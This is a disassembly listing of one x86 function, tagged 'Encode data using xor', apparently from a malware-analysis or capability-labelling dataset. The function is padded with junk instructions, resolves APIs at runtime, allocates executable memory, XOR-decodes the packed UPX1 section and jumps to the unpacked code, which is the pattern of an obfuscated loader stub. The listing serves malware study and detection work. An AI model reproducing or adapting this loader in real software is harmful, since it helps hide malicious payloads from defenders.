Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xbba79c82
mov edi, eax
not eax
add edi, edi
popal
sub edi, 0x81f852d
mov eax, 0x431e39f4
sub edi, eax
mov eax, 0
mov ecx, edi
dec ebx
sub ebx, esi
mov ebx, esi
mov edx, ecx
sub esi, 0xcb0e56d5
add ebx, 1
mov edi, edx
sub esi, 0xe7d53070
sub ebx, 0xd04c35a3
inc eax
sub ebx, 0x1a457a9d
or esi, esi
or esi, esi
cmp eax, 0x10040aa
jne 0x47b453
sub esi, 0x52300a30
sub esi, 0xa74ed068
sub edi, 0xe0771d87
sub eax, 0x1e7e0b1a
mov edx, 0x47b21e
not ebx
mov esi, ebx
mov eax, 0x47b412
sub edi, ebx
inc esi
sub ebx, 0xc8a10d22
mov ecx, dword [edx]
add edi, edi
or edi, ebx
mov edi, 0x85192232
and ecx, 0xff
sub esi, 0x51bf4df8
or ebx, esi
xor dword [eax], ecx
or ebx, ebx
not edi
sub esi, ebx
add eax, 1
add esi, esi
sub ebx, 0xa1f501c9
mov edi, 0x9aafebb1
inc edx
add esi, 0xf9437f6c
or esi, ebx
cmp eax, entry0
jl 0x47b4bc
and ebx, ebx
add esi, edi
not edi
add esi, 1
add esi, edi
add ecx, edi
not ecx
and ecx, ecx
mov esi, 0x47b416
and edx, ebx
or ecx, ebx
and ebx, ecx
mov esi, dword [esi]
add edx, ebx
mov edi, 0x9ff74b7d
mov edx, 0x277fa19e
mov esi, dword [esi]
sub edi, 0xaf571c69
mov ecx, 0x81c2d0a3
sub esp, 4
mov dword [esp], esi
sub ebx, ecx
not ecx
mov esi, 0x47b412
inc ecx
and edx, edx
mov esi, dword [esi]
mov edi, 0xa944a582
add ebx, 0x110f64db
mov esi, dword [esi]
dec ebx
mov edx, 0x2df207eb
sub edi, ebx
push 0x47b41a
sub edi, 0x1b481ce0
add ecx, edx
call esi
sub edi, 0xd7e0218f
or edx, ecx
not ecx
pop esi
add ecx, 0x3dc59b68
inc edi
mov edi, edx
push 0x47b427
add edx, edi
mov ecx, edx
and edi, ecx
push eax
mov ebx, 0xd58a9799
and edx, ecx
mov edi, ebx
call esi
add edx, edi
dec edx
not edi
sub esp, 4
mov dword [esp], 0x40
not edi
dec edx
sub ebx, edi
push 0x3000
or ebx, edx
dec edx
sub esp, 4
mov dword [esp], 0x20000599
mov ecx, edx
add ecx, 0x713c961a
push 0
inc ecx
mov ebx, 0x7b5f63b6
mov ebx, 0x3ffbf4be
call eax
add ebx, 0xf6794ed
sub edx, ebx
and edx, edx
add eax, 0x200004fa
sub ebx, 0x1565772a
add edx, 0x4102313c
mov esi, 0x332bac81
and ecx, ebx
mov ebx, edx
mov dword [eax], esi
dec ecx
sub ecx, 0x31b4fe30
mov esi, dword [eax]
mov edx, 0x195da285
add edi, 0x422d74cc
dec edi
cmp esi, 0x332bac81
je 0x47b62d
mov ebx, 0
mov dl, byte [ebx]
or ebx, ecx
add ecx, edi
not edx
or edi, edx
sub ebx, edx
sub eax, edi
sub edi, 0x2295bf50
mov ecx, section.UPX1
mov edi, 0xa9a90bc1
sub edi, eax
add eax, 0x191839ee
mov esi, 0x47b21d
dec eax
mov eax, edi
add edi, eax
mov ebx, 0
and eax, eax
sub edi, eax
mov edx, 0x47b21e
inc edi
inc eax
lea edx, [edx + ebx]
mov edi, eax
mov edi, eax
mov edx, dword [edx]
inc edi
add edi, eax
inc eax
and edx, 0xff
mov edi, 0x3bac2393
not eax
inc ebx
add edi, edi
sub edi, eax
cmp ebx, 0x1f4
jne 0x47b697
mov ebx, 0
add eax, eax
sub eax, 1
sub eax, 0x2e0b4291
mov eax, 0x3ae77e5d
add edi, 0x866384a3
add edi, 0x313967c1
xor dword [ecx], edx
not edi
not edi
add ecx, 2
not eax
sub eax, edi
sub edi, 0x91a794b7
cmp ecx, esi
jl 0x47b664
inc eax
add eax, 0xb486c2cf
mov eax, edi
mov eax, 0xa453d9ee
mov ecx, section.UPX1
add edx, esi
sub esi, 0xdb3e917a
mov edi, section.UPX1
add esi, esi
add esi, 0x3e501b4c
mov eax, 0x47b21d
add edx, esi
add edx, edx
sub esi, edx
mov ebx, 0
mov edx, 0x1bc9cff7
add edx, 1
mov edx, esi
mov bl, byte [edi]
mov edx, esi
add edx, 1
inc edx
mov byte [ecx], bl
or esi, edx
mov edx, 0x1d57fdfd
and edx, edx
add ecx, 1
sub esi, 0x342de337
add edx, esi
mov edx, esi
add edi, 2
sub esi, edx
or esi, esi
dec esi
cmp edi, eax
jle 0x47b719
mov edx, 0xe1bf1a26
sub esi, edx
add esi, 0x89675aad
or eax, edi
dec edi
and eax, eax
sub esp, 4
mov dword [esp], 0x45e6a0
not eax
not edi
sub eax, edi
ret